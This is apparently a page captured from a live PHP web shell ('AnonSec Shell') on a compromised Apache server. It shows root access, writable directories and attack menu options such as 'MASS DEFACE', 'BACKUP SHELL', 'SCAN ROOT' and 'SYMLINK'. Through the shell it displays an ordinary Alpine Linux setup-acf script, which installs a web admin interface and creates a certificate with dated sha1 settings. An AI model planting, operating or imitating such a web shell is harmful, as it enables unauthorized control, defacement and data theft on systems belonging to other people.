AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.226.187.10   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /sbin/setup-acf
#!/bin/sh

PROGRAM=setup-acf
VERSION=3.16.2-r0

PREFIX=
: ${LIBDIR=$PREFIX/lib}
. "$LIBDIR/libalpine.sh"

usage() {
	echo "usage: $PROGRAM [-ahn] [-e email] [-l address] [PACKAGE...]"
	exit $1
}

pkgs="acf-core acf-alpine-baselayout acf-apk-tools openssl"

while getopts "ae:hl:n" opt ; do
	case $opt in
		a) pkgs=$(apk search --quiet --exact 'acf-*');;
		e) EMAIL="$OPTARG";;
		h) usage 0;;
		l) address="$OPTARG";;
		n) create_passwd=no;;
		'?') usage "1" >&2;;
	esac
done
shift $(expr $OPTIND - 1)

while [ $# -gt 0 ]; do
	pkgs="$pkgs acf-$1"
	shift
done

# install packages
apk add mini_httpd $pkgs || exit 1

if [ "$create_passwd" != "no" ]; then
	mkdir -p /etc/acf
	if [ -f /etc/acf/passwd ]; then
		mv /etc/acf/passwd /etc/acf/passwd.backup
	fi
	echo "root:x:Admin account:ADMIN" >/etc/acf/passwd
	chmod 600 /etc/acf/passwd
	acfpasswd -s root
fi

# setup mini_httpd and start it
if [ -d /var/www/localhost/htdocs ]; then
	mv /var/www/localhost/htdocs /var/www/localhost/htdocs.old
fi
mkdir -p /var/www/localhost/
ln -s /usr/share/acf/www/ /var/www/localhost/htdocs
lbu add /var/www/localhost/htdocs


SSLDIR=/etc/ssl/mini_httpd
SSLCNF=$SSLDIR/mini_httpd.cnf
KEYFILE=$SSLDIR/server.key
CRTFILE=$SSLDIR/server.crt
PEMFILE=$SSLDIR/server.pem

if [ -f $PEMFILE ]; then
	echo "$PEMFILE already exist."
else
	mkdir -p $SSLDIR
	cat >$SSLCNF <<-__EOF__
		[ req ]
		default_bits = 1024
		encrypt_key = yes
		distinguished_name = req_dn
		x509_extensions = cert_type
		prompt = no

		[ req_dn ]
		OU=HTTPS server
		CN=$(hostname -f || hostname)
		emailAddress=${EMAIL:[email protected]}

		[ cert_type ]
		nsCertType = server
	__EOF__
	echo "Generating certificates for HTTPS..."
	openssl genrsa 2048 > $KEYFILE
	openssl req -new -x509 -nodes -sha1 -days 3650 -key $KEYFILE \
		-config $SSLCNF > $CRTFILE
	cat $KEYFILE >> $CRTFILE
	rm $KEYFILE
	mv $CRTFILE $PEMFILE
fi

cat >/etc/mini_httpd/mini_httpd.conf <<-__EOF__
	nochroot
	dir=/var/www/localhost/htdocs
	user=nobody
	cgipat=cgi-bin**
	certfile=$PEMFILE
	port=443
	ssl
__EOF__
if [ -n "$address" ]; then
	echo "host=$address" >> /etc/mini_httpd/mini_httpd.conf
fi

rc-update -q add mini_httpd default
rc-service mini_httpd restart
# force update of dependency cache
rc-update -q --update


Anon7 - 2022
AnonSec Team